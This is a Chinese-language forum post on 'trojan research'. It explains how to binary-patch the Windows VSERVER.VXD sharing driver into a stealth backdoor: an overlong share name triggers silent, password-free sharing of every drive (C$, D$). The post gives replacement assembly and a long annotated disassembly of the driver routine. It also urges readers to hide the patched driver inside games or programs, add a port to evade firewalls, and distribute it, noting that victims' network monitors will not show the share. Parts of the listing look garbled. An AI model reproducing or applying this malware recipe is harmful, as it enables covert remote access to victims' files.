我的木马研究
网上木马程序很流行,其实说来也很简单,大致都是修改注册表或者INI文件加载一个文件提供服务,这就手工都很容易检测出木马来。一,看增加的不明服务。二,因为木马是作为服务一般要打开一个网
络通信端口,所以检查增加的服务端口也很容易检查出木马程序来。其实完全可以稍微改动操作系统内
核而作出一个很好的木马来,这样不用改动注册表也可以让用户很不容易发觉。
下面就是简单改动一个驱动程序做一个木马的方法。大家可以分析别的驱动程序相应的作出自己的
木马来。这儿是利用WINDOWS的共享和远程管理。WINDOWS的共享如果共享名是ADMIN$就可以远程管理,
就是登陆ADMIN$进去了后所有的盘都完全共享为盘符加$.下面一段就是VSERVER。VXD处理共享的一段程
序,SUB_0027校验密码,密码对了后后面检测共享名是ADMIN $否,是就看C$,D$...共享没有
(DATA_0431==0?),没共享就调用SUB_0230共享,SUB_0230 一个参数就是密码指针,如果密码指针
为0就没密码。这儿为了好改动就用的这个参数。显然我们就可以必要的时候调用SUB_0230
就开了个后门。LOC_0415是检测网络通信的共享名串大于0DH否(包括串后的0),是就转LOC_0419出
错返回,显然我们可以利用这儿去调用SUB_0230. 看LOC_0419 有7个字节可以利用,可以安排 CALL SUB_0230
NEW_LOC_0418 POP eax
jmp 03469
刚好7个字节。3436: JE LOC_0418 是没找到要共享的目录跳转到LOC_0418 显然要改动,改动成JE NEW_LOC_0418就可以。现在是LOC_0415一段要跳转到LOC_0419前要PUSH 0以调用SUB_0230。
下面是LOC_0415的改法:
LOC_0415:
03415 XOR EAX,EAX;2 字节,同样SUB AL,AL 得到AL=0;还得到EAX=0。
03417 PUSH EAX ;1 字节 调用SUB_0230 用的DWORD参数 0;
03418 XOR ECX,ECX ;2 字节ECX=0;
0341A DEC ECX ;1 字节得到ECX=0FFFFFFFFH这儿与MOV ECX,0FFFFH一样但字节数少
0341B mov edi,ebx ;2 bytes
0341D repne scasb ;2 bytes
0341F SUB EDI,EBX ;2 bytesget the share name long
03421 CMP EDI, 0Dh ;3 bytes大于等于0DH跳转。这儿条件可以改动为等于多少跳转等。
03424 ja short loc_0419 ; 2 byte
03426 POP EAX ;1 byte 堆栈平衡
03427 PUSHEDI ;1 byte
03428 POP EAX ;1 byteEAX=EDI SHARE NAME LONG , 后面要用
刚好字节够用,注意DATA_0182 那儿有重定位那种字节不能简单改动。你可以把你的好的程序好的游戏加上一小段代码这么改动他的VSERVER。VXD文件,最好是硬盘的WINDOWS安装目录打包文件里面的VSERVER。VXD也改动,还有访问共享目录\\IP的139端口也最好加一个别的端口以逃避有些路由器防火墙的设置,再把你的程序散发。。。。。
中了你的木马的你访问他的共享目录后面加一大串字母(共享名串长大于等于0DH)会提示出错,但你就可以再访问\\IP\C$, \\IP\D$....了,这可是完全共享的了.如果你先没有那个一大串字母的访问他也没有设置远程管理的话 \\IP\C$,\\IP\D$... 都不能访问的,他自己用网络监视器也看不到这种共享的,所以很不容易觉察的。注意你进入共享目录了网络监视器还是能看到。
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;
; Called from: 031FD, 32CC
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
033F4 sub_0026 proc near
033F456 push esi
033F566| 81 3B 5C5C cmp word ptr ,5C5Ch
033FA74 07 je short loc_0412 ; Jump if equal
033FC66| 81 3B 2F2F cmp word ptr ,2F2Fh
0340175 12 jne short loc_0415 ; Jump if not equal
03403 loc_0412: ;xref 033FA
034038D 73 02 lea esi,dword ptr ; Load effective addr
03406 loc_0413: ;xref 0340F
03406E8 00006961 call sub_0207 ; (09D6C)
0340B74 05 jz short loc_0414 ; Jump if zero
0340D3C 5C cmp al,5Ch ; '\'
0340F75 F5 jne loc_0413 ; Jump if not equal
0341146 inc esi
03412 loc_0414: ;xref 0340B
034128D 5E FF lea ebx,dword ptr ; Load effective addr
03415 loc_0415: ;xref 03401
034152A C0 sub al,al
03417B9 0000FFFF mov ecx,0FFFFh
0341C8B FB mov edi,ebx
0341EF2/ AE repne scasb ; Rep zf=0+cx >0 Scan es: for al
034208B C7 mov eax,edi
034222B C3 sub eax,ebx
0342483 F8 0D cmp eax,0Dh
0342777 26 ja short loc_0419 ; Jump if above
0342955 push ebp
0342A8B 2D 00011CA4 mov ebp,dword ptr data_0182;THE SHARE POINTER ; (11CA4=0)
03430 loc_0416: ;xref 0344C
03430 ?1 FD 00011CA4 cmp ebp,11CA4h
0343674 16 je short loc_0418 ; Jump if equal
0343880 7D 08 02 cmp byte ptr ,2
0343C75 0B jne short loc_0417 ; Jump if not equal
0343E8D 75 11 lea esi,dword ptr ; Load effective addr
034418B FB mov edi,ebx
034438B C8 mov ecx,eax
03445F3/ A6 repe cmpsb ; Rep zf=1+cx >0 Cmp to es:
0344774 3A jz short loc_0424 ; Jump if zero
03449 loc_0417: ;xref 0343C
034498B 6D 00 mov ebp,dword ptr
0344CEB E2 jmp short loc_0416 ; (03430)
0344E loc_0418: ;xref 03436
0344E5D pop ebp
0344F loc_0419: ;xref 03427
0344FB8 00060002 mov eax,60002h
034545E pop esi
03455F9 stc ; Set carry flag
03456C3 retn
03457 loc_0420: ;xref 0349F
034578B 43 34 mov eax,dword ptr
0345A8B 1B mov ebx,
0345C81 FB 00011CA4 cmp ebx,11CA4h
0346274 0A je short loc_0421 ; Jump if equal
034643B 43 34 cmp eax,dword ptr
0346774 2F je short loc_0425 ; Jump if equal
03469B8 00020002 mov eax,20002h
0346E loc_0421: ;xref 03462, 3481, 354D, 35E8
0346E ?E pop esi
0346FF9 stc ; Set carry flag
03470C3 retn
0347133 DB db 33h,0DBh
03473 loc_0422: ;xref 0349D
034735E pop esi
03474C3 retn
03475 loc_0423: ;xref 034C1
034758B D3 mov edx,ebx
03477 鶥B 0000000A mov ebx,0Ah ; (0000A=0B8h)
0347CB8 00590002 mov eax,590002h
03481EB EB jmp short loc_0421 ; (0346E)
03483 loc_0424: ;xref 03447
034838B DD mov ebx,ebp
0348559 pop ecx ;ebp ,the password long
03486F6 05 00012446 01 test byte ptr data_0317,1 ; (12446=0)
0348D75 12 jnz short loc_0426 ; Jump if not zero
0348F8B 34 24 mov esi,
03492F6 46 1F 01 test byte ptr ,1
0349675 09 jnz short loc_0426 ; Jump if not zero
03498 loc_0425: ;xref 03467
03498E8 00000182 call sub_0027 ; (0361F)check the password
0349D72 D4 jc loc_0422 ; Jump if carry Set
0349F75 B6 jnz loc_0420 ; Jump if not zero
034A1 loc_0426: ;xref 0348D, 3496
034A1F6 43 10 40 test byte ptr ,40h ; '@'
034A50F 85 00000089 jnz loc_0433 ; Jump if not zero
034ABA1 00011CC4 mov eax,data_0190 ; (11CC4=0FFFFF000h)
034B080 38 01 cmp byte ptr ,1
034B30F 83 00000134 jae loc_0439 ; Jump if above or =
034B9 loc_0427: ;xref 0353B, 3564, 356F, 35F6
; 3611
034B966| 8B 53 0E mov dx,word ptr
034BD66| 39 53 0C cmp word ptr ,dx
034C176 B2 jbe loc_0423 ; Jump if below or =
034C3 loc_0428: ;xref 03528
034C38B 0D 00011B34 mov ecx,dword ptr data_0170 ; (11B34=0)
034C985 C9 test ecx,ecx
034CB74 56 jz short loc_0431 ; Jump if zero
034CD8B 01 mov eax,
034CFA3 00011B34 mov data_0170,eax ; (11B34=0)
034D466| FF 43 0E inc word ptr
034D889 59 0C mov dword ptr ,ebx
034DBC6 41 14 03 mov byte ptr ,3
034DF8A 41 17 mov al,byte ptr
034E204 08 add al,8
034E40C C0 or al,0C0h
034E688 41 17 mov byte ptr ,al
034E9C6 41 15 00 mov byte ptr ,0
034ED8B 34 24 mov esi,
034F0F6 46 1F 08 test byte ptr ,8
034F475 08 jnz short loc_0429 ; Jump if not zero
034F6A1 00011CC8 mov eax,data_0191 ; (11CC8=0FFFFF000h)
034FBFF 40 10 inc dword ptr
034FE loc_0429: ;xref 034F4
034FE5E pop esi
034FF81 7B 11 494D4441 cmp dword ptr ,494D4441h;ADMIN$ ?
0350675 0E jne short loc_0430 ; Jump if not equal
0350866| 81 7B 15 244E cmp word ptr ,244Eh
0350E75 06 jne short loc_0430 ; Jump if not equal
0351080 7B 17 00 cmp byte ptr ,0
0351474 61 je short loc_0435 ; Jump if equal
03516 loc_0430: ;xref 03506, 350E, 3584
03516B8 00011CD4 mov eax,11CD4h
0351BE8 000056BC call sub_0130 ; (08BDC)
0352085 DB test ebx,ebx
03522C3 retn
03523 loc_0431: ;xref 034CB
03523E8 00000190 call sub_0028 ; (036B8)
0352873 99 jnc loc_0428 ; Jump if carry=0
0352AEB 00 jmp short loc_0432 ; (0352C)
0352C loc_0432: ;xref 0352A
0352C5F pop edi
0352DB8 00590002 mov eax,590002h
03532F9 stc ; Set carry flag
03533C3 retn
03534 loc_0433: ;xref 034A5
035348B 34 24 mov esi,
03537F6 46 1F 01 test byte ptr ,1
0353B0F 85 FFFFFF78 jnz loc_0427 ; Jump if not zero
03541 loc_0434: ;xref 03575, 358F
03541 ?B D3 mov edx,ebx
03543BB 0000000B mov ebx,0Bh
03548B8 00050001 mov eax,50001h
0354DE9 FFFFFF1C jmp loc_0421 ; (0346E)
;* No entry point to code
035528B 3C 24 mov edi,
0355553 push ebx
035568B 35 000128B8 mov esi,dword ptr data_0379 ; (128B8=0FFFFF000h)
0355CE8 FFFFE407 call sub_0009 ; (01968)
035615B pop ebx
035620B ED or ebp,ebp ; Zero ?
035640F 84 FFFFFF4F jz loc_0427 ; Jump if zero
0356A3E: 83 7D 10 00 cmp dword ptr ds:,0
0356F0F 85 FFFFFF44 jne loc_0427 ; Jump if not equal
03575EB CA jmp short loc_0434 ; (03541)
03577 loc_0435: ;xref 03514
03577F6 05 00012446 01 test byte ptr data_0317,1 ; (12446=0)
0357E74 11 jz short loc_0436 ; Jump if zero
03580F6 46 1F 01 test byte ptr ,1
0358475 90 jnz loc_0430 ; NOT ADMIN$ Jump if not zero
0358666| FF 4B 0E dec word ptr
0358AC6 41 14 00 mov byte ptr ,0
0358E56 push esi
0358FEB B0 jmp short loc_0434 ; (03541)
03591 loc_0436: ;xref 0357E
0359180 4E 1F 01 or byte ptr ,1
03595C6 41 15 01 mov byte ptr ,1
035998B FE mov edi,esi
0359B8B 35 000128B8 mov esi,dword ptr data_0379 ; (128B8=0FFFFF000h)
035A183 3D 000134E0 00 cmp dword ptr data_0431,0 ; C$,D$HAVE BEEN SHARED(134E0=0)
035A875 14 jne short loc_0437 ; Jump if not equal
035AA52 push edx
035AB51 push ecx
035AC8D 4B 1E lea ecx,dword ptr ;THE ADMIN$ PASSWORD
035AF ?1 push ecx ;PARAMETER_1if ecx=0 no password
035B0E8 0000856F call sub_0230 ;MAKE C$,D$SHARE(0BB24)
035B559 pop ecx
035B659 pop ecx
035B75A pop edx
035B8FF 05 000134E0 inc dword ptr data_0431 ; (134E0=0)
035BE loc_0437: ;xref 035A8
035BE53 push ebx
035BFE8 FFFFE3A4 call sub_0009 ; (01968)
035C472 13 jc short loc_0438 ; Jump if carry Set
035C68B 3D 00011CCC mov edi,dword ptr data_0192 ; (11CCC=0FFFFF000h)
035CC8B BF 000000E2 mov edi,dword ptr ds: ; (000E2=358B0000h)
035D289 7B 04 mov dword ptr ,edi
035D55B pop ebx
035D685 DB test ebx,ebx
035D8C3 retn
035D9 loc_0438: ;xref 035C4
035D95A pop edx
035DAC6 41 14 00 mov byte ptr ,0
035DEBB 0000000C mov ebx,0Ch
035E3B8 00010002 mov eax,10002h
035E8E9 FFFFFE81 jmp loc_0421 ; (0346E)
035ED loc_0439: ;xref 034B3
035ED75 28 jnz short loc_0440 ; Jump if not zero
035EF8B 34 24 mov esi,
035F2F6 46 1F 01 test byte ptr ,1
035F60F 85 FFFFFEBD jnz loc_0427 ; Jump if not zero
035FC81 7B 11 494D4441 cmp dword ptr ,494D4441h
0360375 12 jne short loc_0440 ; Jump if not equal
0360566| 81 7B 15 244E cmp word ptr ,244Eh
0360B75 0A jne short loc_0440 ; Jump if not equal
0360D80 7B 17 00 cmp byte ptr ,0
036110F 84 FFFFFEA2 je loc_0427 ; Jump if equal
03617 loc_0440: ;xref 035ED, 3603, 360B
03617B8 00510002 mov eax,510002h
0361C5F pop edi
0361DF9 stc ; Set carry flag
0361EC3 retn
sub_0026 end
页:
[1]